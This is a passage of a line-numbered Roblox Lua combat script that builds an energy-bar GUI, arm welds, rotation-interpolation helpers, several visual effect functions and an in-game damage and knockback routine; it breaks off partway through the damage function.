1926 | MMouse=nil | |
1927 | combo=0 | |
1928 | mana=0 | |
1929 | trispeed=1 | |
1930 | pathtrans=.7 | |
1931 | attackmode='none' | |
1932 | local idle=0 | |
1933 | local Anim="Idle" | |
1934 | local Effects={} | |
1935 | local gun=false | |
1936 | local shoot=false | |
1937 | player=nil | |
1938 | cloak=false | |
1939 | lightcolor='Bright blue' | |
1940 | ||
1941 | local Color1=BrickColor.new("White") | |
1942 | ||
1943 | local fengui=it("GuiMain") | |
1944 | fengui.Parent=Player.PlayerGui | |
1945 | fengui.Name="WeaponGUI" | |
1946 | local fenframe=it("Frame") | |
1947 | fenframe.Parent=fengui | |
1948 | fenframe.BackgroundColor3=Color3.new(255,255,255) | |
1949 | fenframe.BackgroundTransparency=1 | |
1950 | fenframe.BorderColor3=Color3.new(17,17,17) | |
1951 | fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0) | |
1952 | fenframe.Position=UDim2.new(0.4,0,0.1,0) | |
1953 | local fenbarmana1=it("TextLabel") | |
1954 | fenbarmana1.Parent=fenframe | |
1955 | fenbarmana1.Text=" " | |
1956 | fenbarmana1.BackgroundTransparency=0 | |
1957 | fenbarmana1.BackgroundColor3=Color3.new(0,0,0) | |
1958 | fenbarmana1.SizeConstraint="RelativeXY" | |
1959 | fenbarmana1.TextXAlignment="Center" | |
1960 | fenbarmana1.TextYAlignment="Center" | |
1961 | fenbarmana1.Position=UDim2.new(0,0,0,0) | |
1962 | fenbarmana1.Size=UDim2.new(4,0,0.2,0) | |
1963 | local fenbarmana2=it("TextLabel") | |
1964 | fenbarmana2.Parent=fenframe | |
1965 | fenbarmana2.Text=" " | |
1966 | fenbarmana2.BackgroundTransparency=0 | |
1967 | fenbarmana2.BackgroundColor3=Torso.Color | |
1968 | fenbarmana2.SizeConstraint="RelativeXY" | |
1969 | fenbarmana2.TextXAlignment="Center" | |
1970 | fenbarmana2.TextYAlignment="Center" | |
1971 | fenbarmana2.Position=UDim2.new(0,0,0,0) | |
1972 | fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0) | |
1973 | local fenbarmana3=it("TextLabel") | |
1974 | fenbarmana3.Parent=fenframe | |
1975 | fenbarmana3.Text=" " | |
1976 | fenbarmana3.BackgroundTransparency=0 | |
1977 | fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3) | |
1978 | fenbarmana3.SizeConstraint="RelativeXY" | |
1979 | fenbarmana3.TextXAlignment="Center" | |
1980 | fenbarmana3.TextYAlignment="Center" | |
1981 | fenbarmana3.Position=UDim2.new(0,0,0,0) | |
1982 | fenbarmana3.Size=UDim2.new(0,0,0.2,0) | |
1983 | local fenbarmana4=it("TextLabel") | |
1984 | fenbarmana4.Parent=fenframe | |
1985 | fenbarmana4.Text="Energy("..mana..")" | |
1986 | fenbarmana4.BackgroundTransparency=1 | |
1987 | fenbarmana4.BackgroundColor3=Color3.new(0,0,0) | |
1988 | fenbarmana4.SizeConstraint="RelativeXY" | |
1989 | fenbarmana4.TextXAlignment="Center" | |
1990 | fenbarmana4.TextYAlignment="Center" | |
1991 | fenbarmana4.Position=UDim2.new(0,0,-0.3,0) | |
1992 | fenbarmana4.Size=UDim2.new(4,0,0.2,0) | |
1993 | fenbarmana4.FontSize="Size9" | |
1994 | fenbarmana4.TextStrokeTransparency=0 | |
1995 | fenbarmana4.TextColor=BrickColor.new("White") | |
1996 | ||
1997 | --save shoulders | |
1998 | RSH, LSH=nil, nil | |
1999 | --welds | |
2000 | RW, LW=Instance.new("Weld"), Instance.new("Weld") | |
2001 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
2002 | LH=Torso["Left Hip"] | |
2003 | RH=Torso["Right Hip"] | |
2004 | TorsoColor=BrickColor.new("White") | |
2005 | function NoOutline(Part) | |
2006 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
2007 | end | |
2008 | player=Player | |
2009 | ch=Character | |
2010 | RSH=ch.Torso["Right Shoulder"] | |
2011 | LSH=ch.Torso["Left Shoulder"] | |
2012 | -- | |
2013 | RSH.Parent=nil | |
2014 | LSH.Parent=nil | |
2015 | -- | |
2016 | RW.Name="Right Shoulder" | |
2017 | RW.Part0=ch.Torso | |
2018 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
2019 | RW.C1=cf(0, 0.5, 0) | |
2020 | RW.Part1=ch["Right Arm"] | |
2021 | RW.Parent=ch.Torso | |
2022 | -- | |
2023 | LW.Name="Left Shoulder" | |
2024 | LW.Part0=ch.Torso | |
2025 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
2026 | LW.C1=cf(0, 0.5, 0) | |
2027 | LW.Part1=ch["Left Arm"] | |
2028 | LW.Parent=ch.Torso | |
2029 | ||
2030 | ||
2031 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
2032 | local fp=it("Part") | |
2033 | fp.formFactor=formfactor | |
2034 | fp.Parent=parent | |
2035 | fp.Reflectance=reflectance | |
2036 | fp.Transparency=transparency | |
2037 | fp.CanCollide=false | |
2038 | fp.Locked=true | |
2039 | fp.BrickColor=brickcolor | |
2040 | fp.Name=name | |
2041 | fp.Size=size | |
2042 | fp.Position=Torso.Position | |
2043 | NoOutline(fp) | |
2044 | fp.Material="Neon" | |
2045 | fp:BreakJoints() | |
2046 | return fp | |
2047 | end | |
2048 | ||
2049 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
2050 | local mesh=it(Mesh) | |
2051 | mesh.Parent=part | |
2052 | if Mesh=="SpecialMesh" then | |
2053 | mesh.MeshType=meshtype | |
2054 | if meshid~="nil" then | |
2055 | mesh.MeshId="http://www.roblox.com/asset/?id="..meshid | |
2056 | end | |
2057 | end | |
2058 | mesh.Offset=offset | |
2059 | mesh.Scale=scale | |
2060 | return mesh | |
2061 | end | |
2062 | ||
2063 | function weld(parent,part0,part1,c0) | |
2064 | local weld=it("Weld") | |
2065 | weld.Parent=parent | |
2066 | weld.Part0=part0 | |
2067 | weld.Part1=part1 | |
2068 | weld.C0=c0 | |
2069 | return weld | |
2070 | end | |
2071 | ||
2072 | local Color1=BrickColor.new("White") | |
2073 | ||
2074 | local bodvel=Instance.new("BodyVelocity") | |
2075 | local bg=Instance.new("BodyGyro") | |
2076 | ||
2077 | function swait(num) | |
2078 | if num==0 or num==nil then | |
2079 | game:service'RunService'.Stepped:wait(0) | |
2080 | else | |
2081 | for i=0,num do | |
2082 | game:service'RunService'.Stepped:wait(0) | |
2083 | end | |
2084 | end | |
2085 | end | |
2086 | ||
2087 | ||
2088 | so = function(id,par,vol,pit) | |
2089 | coroutine.resume(coroutine.create(function() | |
2090 | local sou = Instance.new("Sound",par or workspace) | |
2091 | sou.Volume=vol | |
2092 | sou.Pitch=pit or 1 | |
2093 | sou.SoundId=id | |
2094 | swait() | |
2095 | sou:play() | |
2096 | game:GetService("Debris"):AddItem(sou,6) | |
2097 | end)) | |
2098 | end | |
2099 | ||
2100 | function clerp(a,b,t) | |
2101 | local qa = {QuaternionFromCFrame(a)} | |
2102 | local qb = {QuaternionFromCFrame(b)} | |
2103 | local ax, ay, az = a.x, a.y, a.z | |
2104 | local bx, by, bz = b.x, b.y, b.z | |
2105 | local _t = 1-t | |
2106 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
2107 | end | |
2108 | ||
2109 | function QuaternionFromCFrame(cf) | |
2110 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
2111 | local trace = m00 + m11 + m22 | |
2112 | if trace > 0 then | |
2113 | local s = math.sqrt(1 + trace) | |
2114 | local recip = 0.5/s | |
2115 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
2116 | else | |
2117 | local i = 0 | |
2118 | if m11 > m00 then | |
2119 | i = 1 | |
2120 | end | |
2121 | if m22 > (i == 0 and m00 or m11) then | |
2122 | i = 2 | |
2123 | end | |
2124 | if i == 0 then | |
2125 | local s = math.sqrt(m00-m11-m22+1) | |
2126 | local recip = 0.5/s | |
2127 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
2128 | elseif i == 1 then | |
2129 | local s = math.sqrt(m11-m22-m00+1) | |
2130 | local recip = 0.5/s | |
2131 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
2132 | elseif i == 2 then | |
2133 | local s = math.sqrt(m22-m00-m11+1) | |
2134 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
2135 | end | |
2136 | end | |
2137 | end | |
2138 | ||
2139 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
2140 | local xs, ys, zs = x + x, y + y, z + z | |
2141 | local wx, wy, wz = w*xs, w*ys, w*zs | |
2142 | local xx = x*xs | |
2143 | local xy = x*ys | |
2144 | local xz = x*zs | |
2145 | local yy = y*ys | |
2146 | local yz = y*zs | |
2147 | local zz = z*zs | |
2148 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
2149 | end | |
2150 | ||
2151 | function QuaternionSlerp(a, b, t) | |
2152 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
2153 | local startInterp, finishInterp; | |
2154 | if cosTheta >= 0.0001 then | |
2155 | if (1 - cosTheta) > 0.0001 then | |
2156 | local theta = math.acos(cosTheta) | |
2157 | local invSinTheta = 1/math.sin(theta) | |
2158 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
2159 | finishInterp = math.sin(t*theta)*invSinTheta | |
2160 | else | |
2161 | startInterp = 1-t | |
2162 | finishInterp = t | |
2163 | end | |
2164 | else | |
2165 | if (1+cosTheta) > 0.0001 then | |
2166 | local theta = math.acos(-cosTheta) | |
2167 | local invSinTheta = 1/math.sin(theta) | |
2168 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
2169 | finishInterp = math.sin(t*theta)*invSinTheta | |
2170 | else | |
2171 | startInterp = t-1 | |
2172 | finishInterp = t | |
2173 | end | |
2174 | end | |
2175 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
2176 | end | |
2177 | ||
2178 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
2179 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) | |
2180 | end | |
2181 | ||
2182 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
2183 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2184 | prt.Anchored=true | |
2185 | prt.CFrame=cframe | |
2186 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) | |
2187 | --http://www.roblox.com/asset/?id=4770560 | |
2188 | game:GetService("Debris"):AddItem(prt,2) | |
2189 | CF=prt.CFrame | |
2190 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
2191 | for i=0,1,0.2 do | |
2192 | wait() | |
2193 | Part.CFrame=CF*cf(0,0,-0.4) | |
2194 | end | |
2195 | for i=0,1,delay do | |
2196 | wait() | |
2197 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
2198 | Mesh.Scale=Mesh.Scale | |
2199 | end | |
2200 | for i=0,1,0.1 do | |
2201 | wait() | |
2202 | Part.Transparency=i | |
2203 | end | |
2204 | Part.Parent=nil | |
2205 | end),prt,msh,CF) | |
2206 | end | |
2207 | ||
2208 | function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2209 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2210 | prt.Anchored=true | |
2211 | prt.CFrame=cframe | |
2212 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2213 | game:GetService("Debris"):AddItem(prt,5) | |
2214 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2215 | for i=0,1,delay do | |
2216 | wait() | |
2217 | Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2218 | Part.Transparency=i | |
2219 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2220 | end | |
2221 | Part.Parent=nil | |
2222 | end),prt,msh) | |
2223 | end | |
2224 | ||
2225 | function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2226 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2227 | prt.Anchored=false | |
2228 | prt.CFrame=cframe | |
2229 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2230 | local wld=weld(prt,prt,Parent,cframe) | |
2231 | game:GetService("Debris"):AddItem(prt,5) | |
2232 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2233 | for i=0,1,delay do | |
2234 | wait() | |
2235 | Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe | |
2236 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2237 | Part.Transparency=i | |
2238 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2239 | end | |
2240 | Part.Parent=nil | |
2241 | end),prt,msh,wld) | |
2242 | end | |
2243 | ||
2244 | function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2245 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2246 | prt.Anchored=false | |
2247 | prt.CFrame=cframe | |
2248 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2249 | local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0)) | |
2250 | game:GetService("Debris"):AddItem(prt,5) | |
2251 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2252 | for i=0,1,delay do | |
2253 | wait() | |
2254 | Weld.C0=euler(i*20,0,0) | |
2255 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2256 | Part.Transparency=i | |
2257 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2258 | end | |
2259 | Part.Parent=nil | |
2260 | end),prt,msh,wld) | |
2261 | end | |
2262 | ||
2263 | function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2264 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2265 | prt.Anchored=true | |
2266 | prt.CFrame=cframe | |
2267 | local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2268 | game:GetService("Debris"):AddItem(prt,2) | |
2269 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2270 | for i=0,1,delay do | |
2271 | wait() | |
2272 | Part.CFrame=Part.CFrame | |
2273 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2274 | local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2275 | prt2.Anchored=true | |
2276 | prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2277 | local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5)) | |
2278 | game:GetService("Debris"):AddItem(prt2,2) | |
2279 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2280 | for i=0,1,0.1 do | |
2281 | wait() | |
2282 | Part.CFrame=Part.CFrame*cf(0,0.5,0) | |
2283 | end | |
2284 | Part.Parent=nil | |
2285 | end),prt2,msh2) | |
2286 | end | |
2287 | for i=0,1,delay*2 do | |
2288 | wait() | |
2289 | Part.CFrame=Part.CFrame | |
2290 | Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i) | |
2291 | end | |
2292 | Part.Parent=nil | |
2293 | end),prt,msh) | |
2294 | end | |
2295 | ||
2296 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2297 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2298 | prt.Anchored=true | |
2299 | prt.CFrame=cframe | |
2300 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2301 | game:GetService("Debris"):AddItem(prt,2) | |
2302 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2303 | for i=0,1,delay do | |
2304 | wait() | |
2305 | Part.CFrame=Part.CFrame | |
2306 | Part.Transparency=i | |
2307 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2308 | end | |
2309 | Part.Parent=nil | |
2310 | end),prt,msh) | |
2311 | end | |
2312 | ||
2313 | function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3) | |
2314 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2315 | prt.Anchored=true | |
2316 | prt.CFrame=cframe*euler(x2,y2,z2) | |
2317 | --"http://www.roblox.com/asset/?id=168892465" | |
2318 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) | |
2319 | game:GetService("Debris"):AddItem(prt,2) | |
2320 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2321 | for i=0,1,0.03 do | |
2322 | wait() | |
2323 | Part.CFrame=Part.CFrame | |
2324 | Part.Transparency=i | |
2325 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2326 | end | |
2327 | Part.Parent=nil | |
2328 | end),prt,msh) | |
2329 | end | |
2330 | ||
2331 | function BreakEffect(brickcolor,cframe,x1,y1,z1) | |
2332 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2333 | prt.Anchored=true | |
2334 | prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2335 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2336 | game:GetService("Debris"):AddItem(prt,2) | |
2337 | coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) | |
2338 | CF=Part.CFrame | |
2339 | Numbb=0 | |
2340 | randnumb=math.random()/10 | |
2341 | rand1=math.random()/10 | |
2342 | for i=0,1,rand1 do | |
2343 | wait() | |
2344 | CF=CF*cf(0,math.random()/2,0) | |
2345 | --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0) | |
2346 | Part.CFrame=CF*euler(Numbb,0,0) | |
2347 | Part.Transparency=i | |
2348 | Numbb=Numbb+randnumb | |
2349 | end | |
2350 | Part.Parent=nil | |
2351 | end),prt,CF,Numbb,randnumb) | |
2352 | end | |
2353 | ||
2354 | function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2355 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2356 | prt.Anchored=true | |
2357 | prt.CFrame=cframe | |
2358 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1)) | |
2359 | game:GetService("Debris"):AddItem(prt,5) | |
2360 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2361 | for i=0,1,delay do | |
2362 | wait() | |
2363 | Part.CFrame=Part.CFrame*euler(0,0.7,0) | |
2364 | Part.Transparency=i | |
2365 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2366 | end | |
2367 | Part.Parent=nil | |
2368 | end),prt,msh) | |
2369 | end | |
2370 | ||
2371 | function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2372 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2373 | prt.Anchored=true | |
2374 | prt.CFrame=cframe | |
2375 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1)) | |
2376 | game:GetService("Debris"):AddItem(prt,2) | |
2377 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2378 | for i=0,1,delay do | |
2379 | wait() | |
2380 | Part.CFrame=Part.CFrame*cf(0,y3/2,0) | |
2381 | Part.Transparency=i | |
2382 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2383 | end | |
2384 | Part.Parent=nil | |
2385 | end),prt,msh) | |
2386 | end | |
2387 | ||
2388 | function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay) | |
2389 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2390 | prt.Anchored=true | |
2391 | prt.CFrame=cframe*cf(x,y,z) | |
2392 | msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1)) | |
2393 | game:GetService("Debris"):AddItem(prt,5) | |
2394 | coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) | |
2395 | local num=math.random() | |
2396 | local num2=math.random(-3,2)+math.random() | |
2397 | local numm=0 | |
2398 | for i=0,1,delay*2 do | |
2399 | swait() | |
2400 | Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0) | |
2401 | Part.Transparency=i | |
2402 | numm=numm+0.01 | |
2403 | end | |
2404 | Part.Parent=nil | |
2405 | Mesh.Parent=nil | |
2406 | end),prt,msh,x,y,z) | |
2407 | end | |
2408 | ||
2409 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
2410 | if hit.Parent==nil then | |
2411 | return | |
2412 | end | |
2413 | h=hit.Parent:FindFirstChild("Humanoid") | |
2414 | for _,v in pairs(hit.Parent:children()) do | |
2415 | if v:IsA("Humanoid") then | |
2416 | h=v | |
2417 | end | |
2418 | end | |
2419 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
2420 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
2421 | end | |
2422 | if hit.Parent.className=="Hat" then | |
2423 | hit=hit.Parent.Parent:findFirstChild("Head") | |
2424 | end | |
2425 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
2426 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
2427 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
2428 | return | |
2429 | end]] | |
2430 | -- hs(hit,1.2) | |
2431 | c=Instance.new("ObjectValue") | |
2432 | c.Name="creator" | |
2433 | c.Value=game:service("Players").ThatProGamerKilledU | |
2434 | c.Parent=h | |
2435 | game:GetService("Debris"):AddItem(c,.5) | |
2436 | Damage=math.random(minim,maxim) | |
2437 | -- h:TakeDamage(Damage) | |
2438 | blocked=false | |
2439 | block=hit.Parent:findFirstChild("Block") | |
2440 | if block~=nil then | |
2441 | print(block.className) | |
2442 | if block.className=="NumberValue" then | |
2443 | if block.Value>0 then | |
2444 | blocked=true | |
2445 | if decreaseblock==nil then | |
2446 | block.Value=block.Value-1 | |
2447 | end | |
2448 | end | |
2449 | end | |
2450 | if block.className=="IntValue" then | |
2451 | if block.Value>0 then | |
2452 | blocked=true | |
2453 | if decreaseblock~=nil then | |
2454 | block.Value=block.Value-1 | |
2455 | end | |
2456 | end | |
2457 | end | |
2458 | end | |
2459 | if blocked==false then | |
2460 | -- h:TakeDamage(Damage) | |
2461 | h.Health=h.Health-Damage | |
2462 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
2463 | else | |
2464 | h.Health=h.Health-(Damage/2) | |
2465 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
2466 | end | |
2467 | if Type=="Knockdown" then | |
2468 | hum=hit.Parent.Humanoid | |
2469 | hum.PlatformStand=true | |
2470 | coroutine.resume(coroutine.create(function(HHumanoid) | |
2471 | swait(1) | |
2472 | HHumanoid.PlatformStand=false | |
2473 | end),hum) | |
2474 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
2475 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
2476 | local bodvol=Instance.new("BodyVelocity") | |
2477 | bodvol.velocity=angle*knockback | |
2478 | bodvol.P=5000 | |
2479 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
2480 | bodvol.Parent=hit | |
2481 | rl=Instance.new("BodyAngularVelocity") | |
2482 | rl.P=3000 | |
2483 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2484 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
2485 | rl.Parent=hit | |
2486 | game:GetService("Debris"):AddItem(bodvol,.5) | |
2487 | game:GetService("Debris"):AddItem(rl,.5) | |
2488 | elseif Type=="Normal" then | |
2489 | vp=Instance.new("BodyVelocity") | |
2490 | vp.P=500 | |
2491 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
2492 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
2493 | if KnockbackType==1 then | |
2494 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
2495 | elseif KnockbackType==2 then | |
2496 | vp.velocity=Property.CFrame.lookVector*knockback | |
2497 | end | |
2498 | if knockback>0 then | |
2499 | vp.Parent=hit.Parent.Torso | |
2500 | end | |
2501 | game:GetService("Debris"):AddItem(vp,.5) | |
2502 | elseif Type=="Up" then | |
2503 | local bodyVelocity=Instance.new("BodyVelocity") | |
2504 | bodyVelocity.velocity=vt(0,10,0) | |
2505 | bodyVelocity.P=1000 | |
2506 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
2507 | bodyVelocity.Parent=hit | |
2508 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
2509 | rl=Instance.new("BodyAngularVelocity") | |
2510 | rl.P=3000 | |
2511 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2512 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
2513 | rl.Parent=hit | |
2514 | game:GetService("Debris"):AddItem(rl,.5) | |
2515 | elseif Type=="Snare" then | |
2516 | bp=Instance.new("BodyPosition") | |
2517 | bp.P=2000 | |
2518 | bp.D=100 | |
2519 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2520 | bp.position=hit.Parent.Torso.Position | |
2521 | bp.Parent=hit.Parent.Torso | |
2522 | game:GetService("Debris"):AddItem(bp,1) | |
2523 | elseif Type=="Target" then | |
2524 | if Targetting==false then | |
2525 | ZTarget=hit.Parent.Torso | |
2526 | coroutine.resume(coroutine.create(function(Part) | |
2527 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2528 | swait(5) | |
2529 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2530 | end),ZTarget) | |
2531 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
2532 | targetgui=Instance.new("BillboardGui") | |
2533 | targetgui.Parent=ZTarget | |
2534 | targetgui.Size=UDim2.new(10,100,10,100) | |
2535 | targ=Instance.new("ImageLabel") | |
2536 | targ.Parent=targetgui | |
2537 | targ.BackgroundTransparency=1 | |
2538 | targ.Image="rbxassetid://4834067" | |
2539 | targ.Size=UDim2.new(1,0,1,0) | |
2540 | cam.CameraType="Scriptable" | |
2541 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2542 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2543 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2544 | Targetting=true | |
2545 | RocketTarget=ZTarget | |
2546 | for i=1,Property do | |
2547 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
2548 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
2549 | swait() | |
2550 | end | |
2551 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
2552 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2553 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2554 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
2555 | end | |
2556 | Targetting=false | |
2557 | RocketTarget=nil | |
2558 | targetgui.Parent=nil | |
2559 | cam.CameraType="Custom" | |
2560 | end | |
2561 | end | |
2562 | debounce=Instance.new("BoolValue") | |
2563 | debounce.Name="DebounceHit" | |
